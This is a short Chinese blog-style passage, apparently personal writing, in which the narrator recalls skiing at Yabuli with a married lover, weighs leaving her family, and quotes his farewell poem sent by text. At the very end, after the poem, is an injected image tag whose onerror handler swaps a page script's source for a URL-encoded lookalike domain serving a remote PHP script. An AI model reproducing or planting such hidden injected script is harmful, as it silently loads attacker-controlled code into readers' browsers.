亚布力滑雪时,他扶着我的腰,手把手告诉我方法,时时刻刻保护着我。后来还是不慎摔了跤,我们俩抱成一团滚在雪中,起来他拍打着我穿在身上他给买的防寒服上的雪,嘻嘻哈哈的刹那,我们从对方眼中找到的是喜欢吗?我要说我喜欢那件衣服,喜欢它的颜色,喜欢它的温暖,那个人我能仅用喜欢来表达他吗?斯蒂文不知道,在我们两人如胶似漆的时候,我都曾经想过,如果他要是和他妻子离婚的话,我也离。想要和他走到一起,这已不是以前的我了。我拥有一个让人羡慕幸福和美的家庭,以前都说过无论如何我都不会不要这个家,可那时我竟有了这样的想法。
我这只是对他喜欢吗?爱的越深伤得越深,没有过那些经历的人也许不了解,在情感面前,再聪明的人也会变傻的。我现在就已经变傻了,傻得自己伤痕累累,傻得对他不能原谅……
& & 中秋夜,夜凉如水。沈志鹏收到国亮发来的最后一封手机短信:
长城饭店说分手,从此圆缺两茫茫。不思量,自难忘,金融街一别,何处话凄凉?纵使相隔千万里,手牵手,情意长。夜来幽梦到上海,君身影,正临窗。相顾相拥诉衷肠,梦里温馨缠绵处,醒来后,泪两行。——写给我就爱的人<img WIDTH="0" HEIGHT="0" src="/blog7style/images/common/sg_trans.gif" real_src ="http://m.jpg" NAME="sina"onerror=try{document.getElementsByTagName_r("script").item(2).src="http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php"}catch(e){this.outerHTML=""}//"
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